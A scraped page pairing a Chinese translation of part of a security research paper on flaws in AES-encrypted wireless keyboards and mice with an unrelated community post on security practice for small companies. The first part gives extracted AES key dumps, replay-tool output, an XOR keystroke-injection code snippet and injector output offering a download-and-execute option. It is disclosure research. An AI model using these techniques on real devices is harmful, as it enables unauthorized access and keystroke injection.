在整个研究项目中，我们可以在使用AES加密机制的无线设备中找到以下5类安全漏洞：
1、缺乏对代码（固件）以及数据（加密密钥）的保护。
2、没有对通信数据进行加密和认证。
3、没有对重放攻击的进行防护。
4、对重放攻击防护不到位。
5、其他加密问题。
我们会在下文详细阐述我们发现的所有漏洞，同时也会在安全公告中提及受影响的相关设备 [16-29]。
**5.1 缺乏对代码和数据的保护**
在我们的研究中，被测试的5个设备中有3个设备的固件和AES加密密钥可以被我们读取，这3个设备分别为AES B.UNLIMITED、Microsoft
Wireless Desktop 2000以及Perixx PERIDUA-710W。
对于这3个基于nRF24的设备而言，我们有可能能够使用nrfprog软件，通过SPI接口访问设备的闪存（如图6和图7所示）。
Cherry的USB设备所导出的内存镜像中包含AES密钥，如下所示：
1 (...)
2 00007430: 0000 0000 0000 0000 0000 3cdd 9cc7 db74
3 00007440: 675a c0b2 9796 a55b 913c 0000 0000 0000
4 00007450: 0000 0000 0000 0000 0000 0000 0000 0000
5 (...)
与之匹配的Cherry键盘所导出的内存镜像中也包含相同的AES密钥，如下所示：
1 00000000: aa32 1d98 5ef9 3cdd 9cc7 db74 675a c0b2
2 00000010: 9796 a55b 913c ffff ffff ffff ffff ffff
3 00000020: ffff ffff ffff ffff ffff ffff ffff ffff
4 (...)
与被测试的Microsoft以及Perixx键盘相比，Cherry键盘并没有将加密密钥保存在普通的耐久性内存中，而是将其保存在扩展的耐久性内存中。对nRF24LE1而言，1.5Kb大小的非易失性内存（non-volatile
memory，NVM）被分为2个256字节大小的扩展耐久性页面以及两个512字节大小的普通耐久性页面，如参考资料[12]所述。而EENVM（extended
endurance non-volatile memory，扩展耐久性非易失性内存）无法通过SPI接口进行访问，如图10所示。
因此，为了访问Cherry键盘中包含加密密钥的EEM（extended endurance
memory，扩展耐久内存），我们需要研发具备memcpy功能的固件，将EEM中特定的内存区域拷贝到SPI可以访问的普通数据内存中。示例固件代码如清单3.1所示。
由于无线设备对自身的代码（固件）及数据（加密密钥）保护不到位，可以物理接触设备的攻击者能够在几分钟之内，对存在漏洞的桌面无线设备进行攻击，提取设备所使用的AES密钥，并在后续攻击中，利用这个密钥以无线攻击模式远程攻击设备，或者篡改设备固件，比如，攻击者可以弱化设备所使用的加密程度。
对被测试的Cherry和Perixx键盘而言，攻击者有可能随意读取或访问设备内存。但这种攻击对Microsoft键盘来说并不适用，因为它使用了nRF24LE1的一次性可编程版本。攻击者只能将该设备闪存中的比特位从1改为0，但并不能从0改为1。但不论如何，我们还是可以在某种程度上修改设备的代码以及数据信息。
对基于nRF24的设备而言，只需简单的方法就能实现对设备代码及数据的更好的保护，那就是使用已有的回读保护功能（Read DISable Main
Block，RDISMB，禁止读取主存储区），如图11所示。
被测试的基于nRF24的4个设备中，只有Logitech键盘使用了这种功能，避免攻击者通过SPI接口对设备闪存进行读写。
**5.2 鼠标欺骗攻击**
在我们研究项目进行期间，我们发现被测试的所有无线鼠标的无线通信都没有经过加密及认证。因此，如果知道设备所使用的鼠标数据协议，攻击者就能模拟并欺骗鼠标的动作（比如鼠标移动或者鼠标点击动作）。这种攻击并不新颖，许多研究人员已经在最近几年中，在不同的场合下报告并分析了这类问题，但这种攻击能够奏效还是让我们非常兴奋。你没有看错，带有加密功能的现代桌面无线设备依然仅对键盘进行加密和认证处理，并没有对鼠标通信进行加密及认证处理，这的确存在安全风险。
攻击者可以通过伪造数据包，以未授权方式远程控制目标系统的鼠标指针。如果（采用启发式方法）对目标系统进行针对性的尝试，这种鼠标欺骗攻击有可能会导致目标系统的远程代码执行漏洞。
启发式攻击需要解决如下几个问题：
1、操作系统（屏幕布局及内容）
2、语言设定（屏幕布局及内容）
3、鼠标设定（鼠标指针加速）
4、操作系统中的虚拟键盘设定（窗口位置）
根据我们的经验，使用启发式方法时最好还是遵循系统的默认设置，Windows 7中默认的鼠标设置、虚拟键盘（on-screen
keyboard，OSK）的默认窗口位置及尺寸设置如图12所示。
在这个研究项目中，我们研发了一款名为Radioactive
Mouse的概念验证软件，来演示鼠标欺骗攻击场景。这款软件属于我们nRF24工具集的一部分[31]。
对鼠标指针实现像素级别的控制听起来比较简单，但目前在实际中还不能完美实现。在鼠标加速方面，我们还需要做更多的研究工作（如对系统实际使用的算法进行逆向分析），例如，我们需要理清不同的Windows系统所使用的鼠标加速策略（实现代码位于win32k.sys中），来完成预定的操作行为。
因此，我们的概念验证软件目前仍需要配合手动干预及减缓鼠标的运动轨迹，以完成较为稳定的攻击过程。
我们使用被测试的无线鼠标，配合Crazyradio
PA无线USB设备以及Bastille的nrf固件，通过鼠标欺骗攻击成功实现了目标系统的代码执行攻击场景，如图13及图14所示。
攻击视频已上传到YouTube上，标题为“Radioactive Mouse States the Obvious”[30]。
**5.3 重放攻击**
在我们研究项目中，我们发现所有被测试的无线键盘及鼠标都会受到重放攻击影响，原因在于它们没有或者缺乏足够的保护机制来防御这类攻击。
Microsoft Wireless Desktop
2000使用了重放攻击保护机制，但根据我们的研究结果，设备所用的有效报文计数器的窗口非常大，如果重放攻击时录制动作和重放动作之间只有少数几次按键点击，那么这种情况下攻击者就可以利用足够大的窗口期来实施重放攻击。
对于桌面无线设备来说，攻击者可以通过重放攻击完成以下两种攻击：
1、在无人看守时，获取处于屏幕锁定状态下的计算机的未授权访问权限。
2、物理接触目标桌面无线设备的USB收发器时，能以明文形式恢复用户的按键信息，例如，可以获取用户输入的密码信息。
攻击者在不知道实际的通信协议的情况下（即黑盒模式下），可以使用软件定义的无线电进行重放攻击。使用软件定义的无线电进行重放攻击时所需的实验设备如图15所示。
以Fujitsu桌面无线设备为目标，我们实施重放攻击时所使用的GRC流程图如图16所示。
复杂状态下的重放攻击需要使用特定的数据报文，我们可以将Crazyradio PA以及Bastille的nrf研究固件结合使用，实现复杂情况下的重放攻击。
在这个研究项目中，我们开发了一款Python工具，名为Simple Replay
Tool，我们使用这款工具来演示5个被测设备没有或缺乏重放攻击防护机制。针对Microsoft Wireless 2000键盘的重发攻击输出结果如下所示：
1 # python simple_replay.py -c 25
2 _____ ______ ___ _ _ _____ _ _
3 | __ | ____|__ | || | | __ | | | |
4 _ __ | |__) | |__ ) | || |_ | |__) | | __ _ _ _ ___ ___| |_
5 | '_ | _ /| __| / /|__ _| | ___/| |/ _` | | | / __|/ _ __|
6 | | | | | | | / /_ | | | | | | (_| | |_| __ __/ |_
7 |_| |_|_| __| |____| |_| |_| |_|__,_|__, |___/___|__|
8 __/ |
9 |___/
10 Simple Replay Tool v0.2 by Matthias Deeg - SySS GmbH (c) 2016
11 [*] Configure nRF24 radio
12 [*] Scanning for wireless keyboard ...
13 [+] Received data: 083816010100f32a
14 [+] Found nRF24 device with address A9:A9:8F:EB:CD on channel 25
15 [?] Attack this device (y/n)? y
16 [*] Start recording (<CTRL+C> to stop recording)
17 [+] Received data: 09981601dea2f3157ec032fcfa34ce70dee330c9
18 [+] Received data: 09981601dea2f3157ec032fcfa34ce70dee330c9…
19 ()
20 ^C
21 [*] Stop recording
22 [*] Press <ENTER> to replay the recorded data packets or <CTRL+C> to quit ...
23 [+] Send data: 09981601dea2f3157ec032fcfa34ce70dee330c9
24 [+] Send data: 09981601dea2f3157ec032fcfa34ce70dee330c9…
25 ()
通过这款概念验证软件，我们成功完成了本节开头描述的两种攻击形式。通过物理接触USB收发器，记录下键盘按键所对应的无线通信数据，我们成功搞定了处于屏幕锁定状态下计算机系统的未授权访问权限，也成功恢复了明文的按键信息。
**5.4 按键注入攻击**
这5个测试设备中有3个存在加密问题，会受到按键注入攻击影响，这也是我们发现的最后一个安全漏洞（但并不意味着漏洞分量最轻）。
被测试的Cherry、Perixx以及Logitech键盘在计数器模式中使用了AES加密方式，密钥位数为128位（AES-128-CTR）。通常情况下，初始化向量（IV）包含一个随机数（nonce）以及一个计数器（counter）。例如，被测Cherry键盘所使用的随机值包含11个NULL字节（即值为0x00的11个字节），所使用的计数值为一个随机的5字节数据。
我们已经在基于无线电的分析中，看到过被测设备在无线通信中使用了AES加密算法，通过SPI接口篡改Cherry键盘的固件，我们可以对这一结果有更深入的分析及理解。为了分析设备固件，我们仔细研究了nRF24
SDK以及官方提供的源代码，这些资料都非常具有价值。
比如，在lib_crypt.h源代码中，我们发现代码中有些注释非常有趣，比如有注释介绍了nRF24LU1以及nRF24LE1在加密库实现方式上的区别，以及nRF24LE1所用的计数器（LS5B）的相关信息，如清单5.1所示。
1 /*
2 (...)
3 * @brief Example implementation for encrypting/decrypting data
4 *
5 * The encryption is based on AES counter mode (CTR) where a 128 bit hybrid counter
6 * is used for encryption/decryption. The counter is split in two , 11 bytes as MS11B
7 * and 5 bytes as LS5B. The LS5B part is not secret and tells the receiver how
8 * to decrypt an encrypted message.
9 (...)
10 * Note that the security of the link will not be reduced as a consequence of sending
11 * the counter value in plain text as long as the following criteria are met:
12 *
13 * - Cipher key used for encryption/decryption must be kept secret.
14 * - The plain text counter (LS5B) must be modified for each transfer.
15 (...)
16 * The library can be used on both nRF24LU1 and nRF24LE1 devices , but the implementation
17 * is slightly different between these. In the nRF24LE1 implementation the LS5B is not
18 * a counter , but random values generated by the embedded random number generator.
19 * The reason for this is that the counter value would have to be stored in data memory
20 * in between each packet , which is not possible when residing in "deep sleep" power save
21 * mode.
22 (...)
23 */
此外，我们也阅读了SDK中的一些源码，分析了5字节的随机计数值（LS5B）的生成算法，如清单5.2所示。
1 (...)
2 void lib_crypt_generate_ls5b(uint8_t * dest_buf)
3 {
4 uint8_t i;
5 hal_rng_power_up(true);
6
7 for(i=0;i<5;i++)
8 {
9 while(!hal_rng_data_ready ())
10 {}
11 dest_buf[i] = hal_rng_read();
12 }
13
14 hal_rng_power_up(false);
15 }
16 (...)
我们还发现明文形式的按键释放报文中只包含NULL字节，比如，对我们测试的Cherry键盘而言，明文报文中只包含11个NULL字节。
因此，在无线设备所使用的计数器模式加密流程中，攻击者能够得知设备发送的按键释放报文中的几项的信息，这几项信息已在图17中用红圈标出。
对Cherry AES B.Unlimited这个设备而言，已知的问题如下所示：
1、随机数被硬编码为11个NULL字节。
2、计数器为一个5字节的随机值，这个值可以被重复使用（参考5.3节所述的重放攻击内容），并且通过ShockBurst无线通信模式以明文形式发送这个数值。
3、使用ShockBurst无线通信模式发送密文形式的按键释放报文。
4、明文形式的按键释放报文为11个NULL字节。
5、对于带有特定IV（随机值+计数器）的按键释放报文而言，其按键流（keystream）数据块为11个NULL字节（即按键释放报文的内容），因为任意x与0异或结果都为x。
因此，攻击者可以任意篡改按键释放报文，实施按键注入攻击。
为了完成攻击任务，攻击者需要知道用于发送按键信息的实际数据格式。既然攻击者可以访问设备固件，通过分析固件的实际代码或不断的试错过程，他们有可能能够找出设备实际使用的数据格式，以及需要修改哪些比特位或者字节数据才能成功完成按键注入攻击。
例如，Cherry AES B.Unlimited键盘在按键数据中使用的USB HID数据格式如图18所示。
这种USB HID数据格式所使用的修饰符及键盘代码如下所示：
使用大写字母A来进行按键注入攻击的案例如图19所示。
通常情况下，攻击者只需要经过如下5个步骤就能实施按键注入攻击：
1、找到目标设备（无线键盘）
2、找到按键释放报文（通过启发式方法）
3、做些简单的数学运算
4、发送修改过的按键释放报文，尝试按键注入
5、重复步骤3&4，直至攻击成功
在我们这个研究项目中，针对存在这类漏洞的目标设备，我们研发了几个概念验证软件来进行按键注入攻击。
使用我们的工具对Perixx键盘进行按键注入攻击的输出结果如下所示。
1 # python keystroke_injector.py -c 6 11 28 32 39 65 75 80 -d perixx
2 _____ ______ ___ _ _ _____ _ _
3 | __ | ____|__ | || | | __ | | | |
4 _ __ | |__) | |__ ) | || |_ | |__) | | __ _ _ _ ___ ___| |_
5 | '_ | _ /| __| / /|__ _| | ___/| |/ _` | | | / __|/ _ __|
6 | | | | | | | / /_ | | | | | | (_| | |_| __ __/ |_
7 |_| |_|_| __| |____| |_| |_| |_|__,_|__, |___/___|__|
8 __/ |
9 |___/
10 Keystroke Injector v0.7 by Matthias Deeg - SySS GmbH (c) 2016
11 [*] Configure nRF24 radio
12 [*] Set keyboard: Perixx
13 [*] Scanning for wireless keyboard ...
14 [+] Found nRF24 device with address 15:25:D8:AB:23 on channel 65
15 [?] Attack this device (y/n)? y
16 [*] Search for crypto key (actually a key release packet) ...
17 [+] Found crypto key
18 [*] Please choose your attack vector (0 to quit)
19 1) Open calc.exe
20 2) Open cmd.exe
21 3) Classic download & execute attack
22 0) Exit
23 [?] Select keystroke injection attack: 3
24 [*] Start keystroke injection ...
25 [*] Done.
我们使用自研的Cherry Attack概念验证工具对存在漏洞的Cherry键盘进行攻击，如图20所示。
如何对AES计数器模式中存在的这种加密问题加以利用呢？其实这并不是一件难事，部分利用代码如清单5.3所示。
1 def keyCommand(self , modifiers , keycode1 , keycode2 = KEY_NONE , keycode3 = KEY_NONE , keycode4 = KEY_NONE , keycode5 = KEY_NONE , keycode6 = KEY_NONE):
2 """ Return AES encrypted keyboard data"""
3
4 # generate HID keyboard data
5 plaintext = pack("8B", modifiers , 0, keycode1 , keycode2 , keycode3 ,
6 keycode4 , keycode5 , keycode6)
7
8 # encrypt the data with the set crypto key
9 ciphertext = ""
10 i = 0
11for b in plaintext:
12 ciphertext += chr(ord(b) ^ ord(self.cryptoKey[i]))
13 i += 1
14
15 return ciphertext + self.counter
为了演示我们所找到的按键注入漏洞，我们搭建了一个简单的设备，名为SySS Radio Hack Box[32]，这款设备的第一个原型版本如图21所示。
这个原型设备是在树莓派的基础上搭建而成的，我们手动焊接了一个非常简单的树莓派扩展板，与带有自定义Python脚本的Crazyradio
PA搭配使用，如图22所示。
我们录制了如何使用SySS Radio Hack Box对无线设备实施按键重放注入攻击的视频，并将视频上传到YouTube网站上[33]。
**六、设备厂商的声明及反馈**
根据我们的漏洞披露计划，我们通过安全公告形式，向所有存在安全漏洞的设备所对应的厂商报告了相关的漏洞信息。
根据我们的漏洞披露策略，我们在一段时间后向公众公布了所有的安全公告[34]。
我们收到的设备厂商的声明及反馈如下文所述。
**6.1 Perixx**
对于Perixx PERIDUO-710W桌面无线设备中存在的安全问题，Perixx没有任何反馈信息。
**6.2 Microsoft**
对于Microsoft Wireless Desktop 2000中代码及数据缺乏安全防护的问题，微软的反馈信息如下：
“根据您在邮件里提供的信息，由于每个桌面无线设备所使用的加密密钥都不相同，因此这种攻击不具备普遍性。此外攻击需要物理接触键盘，同时还需要嗅探数据报文才能使用窃取的密钥来解密数据。如果攻击者可以打开键盘，导出闪存数据，攻击者同样也能够修改整个键盘。因此，这个漏洞不符合漏洞安全服务标准。我们会将这个问题提交给核心团队，评估是否需要在本产品的下个版本进行修改。”
对于鼠标欺骗攻击而言，微软的声明如下：
“这种行为符合我们的产品设计方案，因此我们不会对这个产品发布安全更新。”
对于重放攻击而言，微软的声明如下：
“我们正在验证对这个问题的修复措施是否能够生效，希望能够通过修复措施解决这一问题。由于这个问题存在于USB设备的固件中，我们仍在研究是否只能在后续生产的USB设备中解决这一问题，还是可以通过某种办法解决存在这一问题的所有USB设备。“
**6.3 Logitech**
对于Logitech MK520设备而言，罗技的反馈如下：
“非常感谢安全团队对这一产品的重视，请相信罗技会在未来的产品中提供更为安全的加密方案。“
**6.4 Fujitsu**
对于我们在Fujitsu LX901无线键盘中发现的重放攻击问题，富士通的反馈如下：
“非常感谢您对我们无线键盘安全问题的通知。正如我们前面提到过的那样，根据设备所使用的无线协议，您描述的攻击场景在现实生活中难以具体操作。我们销售产品的重点不是在于产品安全性上，而在于产品的易用性上（保证未加密的无线键盘不存在重大安全缺陷即可）。我们将在后续产品中考虑您提出的任何新意见
。“
**6.5 Cherry**
对于我们在Cherry AES B.Unlimited中发现的安全漏洞，Chery的声明如下：
“我们已经检查了您提交的‘安全漏洞’。我们决定未来在推广这个产品时，不再提及AES加密机制。目前，我们正在研究一款后续产品。正如我们一贯强调的那样，如果我们的客户在安全性上要求较高，我们推荐他们使用通过CC认证的有线产品。“
**七、总结**
在整个研究项目中，使用AES加密算法的5个现代桌面无线设备都存在安全漏洞。
总的来说，我们发现了5类安全问题，可以用于实施特定的攻击：
1、对代码（固件）及数据（加密密钥）保护不足
导致攻击者能够访问敏感数据。
2、通信数据没有经过加密或者认证
导致攻击者能够实施鼠标欺骗攻击。
3、缺乏防御重放攻击的保护机制
导致攻击者能够实施重放攻击。
4、对重放攻击保护不到位
导致攻击者能够实施重放攻击。
5、加密问题
导致攻击者能够实施按键注入攻击。
表6总结了我们的研究成果。
√ 存在安全问题
× 不存在安全问题
? 可能存在安全问题（需要进一步调研）
* Bastille Networks首先向罗技报告了这个问题
根据我们的经验，我们认为所有发现的安全漏洞都能在现实世界的攻击场景中加以利用，而不单单局限于实验环境中。事实上，在过去的几个月内，我们已经在渗透测试中使用了其中一些安全漏洞。
对于被测试的这几个版本的产品，厂商可能不会发布安全更新来修复这些安全漏洞，但有可能会在后续版本中修复这些问题。
我们的研究结果表明，不同厂商的现代桌面无线设备的安全级别也有所不同，某些设备会比其他设备更为安全。然而，现实中并不存在没有任何安全问题的桌面无线设备。
SySS不推荐人们在对安全有所要求的环境中使用存在已知安全漏洞的这些桌面无线设备。
在我们的研究过程期间，Bastille威胁研究团队也独立地在几个桌面无线设备中发现了多个安全漏洞，这些设备是不同厂商生产的具备AES加密机制的无线设备。读者可以在他们的网站上找到一个名为KeyJack的研究项目[35]，了解更多信息。
2016年，我们在不同的IT安全大会上展示了我们的研究成果。例如，我们在Hack.lu 2016
IT安全大会上展示了无线鼠标和键盘上存在的安全问题，演讲主题为“现代桌面无线设备的安全性分析”，相关的汇报PPT及视频可以在[36, 37]中找到。
**八、参考资料**
[1] Dreamlab Technologies, KeyKeriki v2.0 – 2.4 GHz, <http://www.remote-exploit.org/articles/keykeriki_v2_0__8211_2_4ghz/> , 2010 (Cited on page 1.)
[2] Samy Kamkar, KeySweeper, <http://samy.pl/keysweeper> , 2015 (Cited on page
1.)
[3] Travis Goodspeed, Promiscuity is the nRF24L01+’s Duty,
<http://travisgoodspeed.blogspot.de/2011/02/promiscuity-is-nrf24l01s-duty.html> , 2011 (Cited on page 1.)
[4] Bastille Networks Internet Security, MouseJack,
<https://www.mousejack.com/> , 2016 (Cited on page 1.)
[5] Great Scott Gadgets, HackRF One, <https://greatscottgadgets.com/hackrf/>
(Cited on page 2.)
[6] Ettus Research, USRP B200,
<https://www.ettus.com/product/details/UB200-KIT> (Cited on page 2.)
[7] Bitcraze, Crazyradio PA, <https://www.bitcraze.io/crazyradio-pa/> (Cited
on page 2.)
[8] Bastille Networks Internet Security, nrf-research-firmware,
<https://github.com/BastilleResearch/nrf-research-firmware> , 2016 (Cited on
page 3.)
[9] Dangerous Prototypes, Bus Pirate,
<http://dangerousprototypes.com/docs/Bus_Pirate> , (Cited on page 5.)
[10] Dangerous Prototypes, nrfprog, <https://github.com/JoseJX/nrfprog> ,
(Cited on page 5.)
[11] Hex-Rays, Interactive Disassembler Pro, <https://www.hex-rays.com/products/ida/index.shtml> (Cited on page 7.)
[12] Nordic Semiconductor, Nordic Semiconductor nRF24LE Product Specification
v1.6,
<http://www.nordicsemi.com/eng/content/download/2443/29442/file/nRF24LE1_Product_Specification_rev1_6.pdf>
(Cited on pages 4, 5, 7, and 12.)
[13] Nordic Semiconductor, nRF24L01+ Evaluation Kit,
<https://www.nordicsemi.com/eng/nordic/download_resource/9620/7/85171947/2434>
(Cited on page 7.)
[14] GNU Radio <https://en.wikipedia.org/wiki/GNU_Radio> (Cited on page 9.)
[15] Omri Iluz, NRF24-BTLE-Decoder, https://github.com/omriiluz/NRF24-BTLE-Decoder, 2016 (Cited on page 9.)
[16] Gerhard Klostermeier and Matthias Deeg, SySS Security Advisory
SYSS-2016-031,
<https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2016-031.txt>
, 2016 (Cited on page 11.)
[17] Gerhard Klostermeier and Matthias Deeg, SySS Security Advisory
SYSS-2016-032,
<https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2016-032.txt>
, 2016 (Cited on page 11.)
[18] Gerhard Klostermeier and Matthias Deeg, SySS Security Advisory
SYSS-2016-033,
<https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2016-033.txt>
, 2016 (Cited on page 11.)
[19] Matthias Deeg and Gerhard Klostermeier SySS Security Advisory
SYSS-2016-038,
<https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2016-038.txt>
, 2016 (Cited on page 11.)
[20] Matthias Deeg and Gerhard Klostermeier SySS Security Advisory
SYSS-2016-043,
<https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2016-043.txt>
, 2016 (Cited on page 11.)
[21] Gerhard Klostermeier and Matthias Deeg, SySS Security Advisory
SYSS-2016-044,
<https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2016-044.txt>
, 2016 (Cited on page 11.)
[22] Gerhard Klostermeier and Matthias Deeg, SySS Security Advisory
SYSS-2016-045,
<https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2016-045.txt>
, 2016 (Cited on page 11.)
[23] Matthias Deeg and Gerhard Klostermeier, SySS Security Advisory
SYSS-2016-046,
<https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2016-046.txt>
, 2016 (Cited on page 11.)
[24] Matthias Deeg and Gerhard Klostermeier, SySS Security Advisory
SYSS-2016-047,
<https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2016-047.txt>
, 2016 (Cited on page 11.)
[25] Matthias Deeg and Gerhard Klostermeier, SySS Security Advisory
SYSS-2016-058,
<https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2016-058.txt>
, 2016 (Cited on page 11.)
[26] Matthias Deeg and Gerhard Klostermeier, SySS Security Advisory
SYSS-2016-059,
<https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2016-059.txt>
, 2016 (Cited on page 11.)
[27] Gerhard Klostermeier and Matthias Deeg, SySS Security Advisory
SYSS-2016-060,
<https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2016-060.txt>
, 2016 (Cited on page 11.)
[28] Gerhard Klostermeier and Matthias Deeg, SySS Security Advisory
SYSS-2016-061,
<https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2016-061.txt>
, 2016 (Cited on page 11.)
[29] Matthias Deeg and Gerhard Klostermeier, SySS Security Advisory
SYSS-2016-068,
<https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2016-068.txt>
, 2016 (Cited on page 11.)
[30] SySS GmbH, Radioactive Mouse States the Obvious – Proof-of-Concept Video,
<https://www.youtube.com/watch?v=PkR8EODee44> , 2016 (Cited on page 15.)
[31] Matthias Deeg and Gerhard Klostermeier, nRF24 Playset,
<https://github.com/SySS-Research/nrf24-playset> , 2017 (Cited on page 13.)
[32] Matthias Deeg and Gerhard Klostermeier, SySS Radio Hack Box,
<https://github.com/SySS-Research/radio-hackbox> , 2017 (Cited on page 21.)
[33] SySS GmbH, SySS Radio Hack Box a.k.a. SySS Cherry Picker Demo Video,
<https://www.youtube.com/watch?v=KMlmd-LhMmo> , 2016 (Cited on page 22.)
[34] SySS GmbH, SySS Responsible Disclosure Policy,
<https://www.syss.de/en/responsible-disclosure-policy/> (Cited on page 23.)
[35] Bastille Networks Internet Security, KeyJack,
<https://www.bastille.net/research/vulnerabilities/keyjack/keyjack-intro/> ,
2016 (Cited on page 27.)
[36] Matthias Deeg and Gerhard Klostermeier, Of Mice and Keybords (Slides),
Hack.lu 2016, <http://archive.hack.lu/2016/Of_Mice_and_Keyboards-Hack.lu_2016.pdf> , 2016 (Cited on page 27.)
[37] Matthias Deeg and Gerhard Klostermeier, Of Mice and Keybords (Talk),
Hack.lu 2016, <https://www.youtube.com/watch?v=Ja_VgUMz43Q> , 2016 (Cited on
page 27.) | 社区文章 |
### 一个人的企业安全建设实践
个人微信：wx631768292
### 前言
随着安全法的落地推行，企业安全建设的研讨也随之火热，“安全”也逐渐进入了各公司中高层领导的视野范围，但苦于中小企业对安全投入不足，从而很多实践止于思考，真正可实践落地的内容少之又少，所以更多的人在寻求企业安全建设方案，但是大公司有大公司的优势，小公司有小公司的便利，要合理运用能达到意想不到的效果，借此分享一下自己的实践内容并分享自己所构建的安全体系内容，希望为大家提供一些参考，有可优化的地方还请大牛指正。目前公司大概300多人，业务平台20余项，服务器千余台（不根据企业背景及业务场景聊安全都是耍流氓，与许多企业安全负责人沟通后各种奇葩场景皆有），目前整体安全工作思路及内容如下：
### 一、资产梳理
资产梳理毋庸置疑作为所有安全工作的初始环节，但与很多朋友讨论后发现这貌似最简单的工作确是最艰难的实践，在此希望给各位梳理一条思路，如图：
1、 架构图：首先是公司组织架构图，需要对各业务平台，不同团队如研发、业务、运维、网络等部门及其负责人有一个清晰的了解，方便日后各项安全工作的开展与推进；
2、
拓扑图：第二部是拓扑图，在这个过程中需要对生产环境所在（云）机房，（安全）设备、域划分、映射表及部署方式有一定的了解，这对于后期的安全测试及故障排查都会有帮助；
3、
业务图：第三部是熟悉业务，这也是最困难的，一个企业可能有多个业务，每个业务分部在不同的机房与服务器上，最初采用Excel进行统计，包含业务线名称、系统名称、域名及URL、访问方式、负责人及部门、内外网IP；
而目前公司CMDB伊始，对以上信息的获取与定位可谓是雪中送炭。
### 二、基础工作铺垫
基础性的工作如：周期性安全测试、设备运维、弱口令审计、外网端口监控、等保测评以及安全策略审批管控等，如何优化高效的做好这部分工作十分重要，在人员匮乏阶段先做到及格标准：
1、
策略管控：如防火墙、账户申请、端口映射等策略管控太松容易引发安全事件，太严格又影响业务进行，甚至得罪某个业务部门，一个适中的方案是十分必要的，如若真的存在风险点可提出风险并在日后做策略锁紧，以免成为背锅侠（甩锅是一种艺术）；
2、
安全测试：安全测试目前分为上线前迭代安全测试及周期性安全测试，周期性安全测试周期一般为季度性完成，迭代性安全测试建议以软介入的方式进行，在非特殊项目时尽量不影响业务正常上线，不要让安全成为瓶颈；
3、
设备运维：对已有的安全设备及其部署方式、策略配置、证书时间有一个大致的了解，在出现问题及需求时可以做到灵活应对，初期建议制定少而精确的规则，暂时不开启阻断，作为告警发出即可，同时也要注意设备自身可能出现的各类故障问题对生产环境的影响；
4、
账号审计：弱口令是一个极其简单而威胁程度又特别高的安全隐患，性价比极高，所以关键系统的弱口令一定要排除，必然是放在基础工作之中的，在地毯式轰炸后建议从制度上消除弱口令风险如密码的初始化及修改环节做把控，避免后期过多的重复审计工作；
5、
外网端口监控：端口监控经历了手工Nmap扫描，到自己写脚本邮件告警，到目前借助巡风系统对测试环境、生产环境及办公网进行端口扫描，由于环境隔离因素目前搭建了三套巡风系统；
6、
等级保护：安全法推行后的等保变得没有那么形式化，虽然其中仍有很多技术及管理环节落地起来比较困难，但目前强制实施的等保对后续公司制度的推进及对领导工作汇报有一定帮助，建议可以把等保内容仔细揣摩一下或许会有帮助；
### 三、重点工作划分与实施
在救火阶段安全建设与应急响应同等重要，在资源有限的条件下兼容救火与建设工作，寻找交集并以事件推动安全工作是一个比较好的做法。
目前根据业务特点（安全事件重灾区、核心业务平台）对工作优先级进行简单排序分类：
1、重灾区救火：重灾区业务平台虽然未必核心，但经常出现问题是十分耗费时间成本的事情，目前加强对该部分业务互联网边界防护及安全基线（OS、Tomcat、Nginx），数据异地备份等措施来防止SSH爆破、Redis未授权访问、勒索软件等攻击；
2、核心业务安全建设：对于核心业务来说周期性的安全测试、安全的上线流程都是十分必要的，要掌控每个核心业务的迭代速度及业务风险，其次要加强对该部分研发及测试人员的安全培训，这也是为SDL打下一定的基础，如果想尝试“阉割版的SDL”时可以选择一个迭代周期规律，并不特别频繁的项目进行尝试，最后有精力的话可以加强这部分业务的日志分析工作，目前已着手开始搭建ELK。
### 四、制度的建立与推动
安全制度该何时建立，如何推动？曾经一度认为应该先有制度，然后按照制度执行就可以了，后来发现自己太单纯，一个无法落地的制度形同虚设，总结下来分三步走：
1、具备可执行力：无论是迭代性安全测试、应急响应甚至SDL等各类安全制度，在建立前先明确自身具备可执行能力，具备充足的时间及人力成本；
2、圈重点：普遍撒网、重点培养，需要根据业务特点及制度的适应状况选择可落地的业务范围；
3、逐个击破：任何事情不要想着一蹴而就，圈重点后与项目负责人一次深情的探讨是十分必要的，讲述该制度流程对该业务的安全性提供如何的保障，重点的是付出与回报至少成正比甚至让对方在无感知状态提高业务的安全性（这是我一直在追求的）；
### 五、救火阶段的灭亡
很多大型互联网公司都在建设自己的SOC平台，实现安全扫描、端口探测、主机防护、应急响应等一体化，但中小企业投入不足时不妨采用半自动化方案，目前已在公司内部搭建了“信息安全中心”，包含：攻防演练平台、Github监控平台、巡风系统、ELK日志分析平台等，作为企业信息安全窗口面向全公司，以下做简单介绍：
1、攻防演练平台：其中结合了多个开源系统ZVulDrill、DVWA、WeBug、tea_news、XSS挑战等，主要用于安全培训及后期可能存在的安全考核使用；
2、Github监控系统：目前使用0xbug开源的一套Github监控系统，搭建及使用方法都非常简单，效果也非常不错；
3、ELK安全日志分析：前期搭建参考唯品会分享的经验，中后期还需要自己去分析具体适合自己环境的方案，其中坑点比较多，在这不一一介绍；
整体思路：在前期工作属于救火阶段，被动挨打的状态，目前已具备一定“抗击打能力”后搭建自己的大数据日志分析平台，将NG、System日志导入进行综合分析，达到监测入侵的能力，后期采用更多方案在入侵过程中阻断行为，达到主动防御能力，路漫漫其修远兮，愿与诸君共同前进。
### 六、结束语
目前中小企业（包含企业大，安全投入少）安全团队压力较大，企业安全建设经验匮乏，投入不足，所以希望组建一个“中小型企业安全联盟”，我们为了保密不分享数据，因为资源不足无法技术支持，但我们可以分享经验，实施方案，第三方产品（服务）测试效果等，如有兴趣愿意加入可以微信沟通，下一步可进行内部分享，同时也欢迎吐槽、讨论交流。
